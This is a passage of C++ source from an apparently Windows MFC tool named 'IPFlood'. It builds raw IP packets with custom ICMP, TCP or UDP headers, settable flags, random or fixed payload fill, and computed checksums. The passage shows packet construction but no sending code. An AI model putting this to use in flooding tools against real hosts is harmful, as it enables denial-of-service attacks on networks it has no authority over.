picmphdr->checksum =0; p=data+sizeof IPHDR+sizeof ICMPHDR; break; case IPPROTO_TCP: ptcphdr->SrcPort =htons(tItem->m_PSrcPort ); ptcphdr->DestPort =htons(tItem->m_PDestPort ); ptcphdr->Sequence =htonl(0x1234abcd); ptcphdr->Flag =tItem->m_TcpFlag ; if((ptcphdr->Flag & 0x10)) ptcphdr->Ack =htonl(tItem->m_TcpAckNumber ); else ptcphdr->Ack =htonl(0x0); ptcphdr->Offset =(BYTE)(sizeof(TCPHDR)/sizeof(UINT))<<4; ptcphdr->Winsize =htons(0xac00); if((ptcphdr->Flag & 0x20)) ptcphdr->Ptr=htons(tItem->m_TcpPtr); else ptcphdr->Ptr =htons(0x0); ptcphdr->Checksum =htons(0); p=data+sizeof IPHDR +sizeof TCPHDR; break; case IPPROTO_UDP: pudphdr->SrcPort =htons(tItem->m_PSrcPort) ; pudphdr->DestPort =htons(tItem->m_PDestPort) ; pudphdr->TLen =htons(tItem->m_IpLen -sizeof IPHDR); pudphdr->Checksum =0; p=data+sizeof IPHDR +sizeof UDPHDR; break; default: break; } i=tItem->m_IpLen -(p-data); q=p; if(tItem->m_FillRandom ) for(;i>0;i--,p++,srand((UINT)i)) *p=(char)(rand()%255); else if(i>0) memset(p,tItem->m_FillVal ,i); if(tItem->m_IpProtocol==IPPROTO_TCP || tItem->m_IpProtocol==IPPROTO_UDP) { buf=(char *)malloc(tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR+1); if(!buf) return -1; memset(buf,0,tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR+1); pshdr=(pPSHDR)buf; pshdr->mbz =0; tItem->m_IpProtocol==IPPROTO_TCP?pshdr->ip_protocol =IPPROTO_TCP: \ pshdr->ip_protocol =IPPROTO_UDP; pshdr->t_len =htons(tItem->m_IpLen -sizeof IPHDR) ; pshdr->ipsrc =ipHeader.SrcIP ; pshdr->ipdest =ipHeader.DestIP ; } switch(tItem->m_IpProtocol) { case IPPROTO_ICMP: i=tItem->m_IpLen -sizeof ipHeader; picmphdr->checksum =checksum((USHORT*)(data+sizeof ipHeader),i); break; case IPPROTO_TCP: memcpy(buf+sizeof PSHDR,ptcphdr,sizeof TCPHDR); memcpy(buf+sizeof PSHDR+sizeof TCPHDR,q,tItem->m_IpLen -sizeof IPHDR-sizeof TCPHDR); ptcphdr->Checksum =checksum((USHORT*)buf,tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR); if (buf) free(buf); break; case IPPROTO_UDP: memcpy(buf+sizeof PSHDR,pudphdr,sizeof UDPHDR); memcpy(buf+sizeof PSHDR+sizeof UDPHDR,q,tItem->m_IpLen -sizeof IPHDR-sizeof UDPHDR); pudphdr->Checksum =checksum((USHORT*)buf,tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR); if (buf) free(buf); break; default: break; } //DumpPacket(data,tItem->m_IpLen ); return 0; } BOOL CIPFloodDlg::PreTranslateMessage(MSG* pMsg) { m_tooltip.RelayEvent(pMsg); return CDialog::PreTranslateMessage(pMsg); // CG: This was added by the ToolTips component. }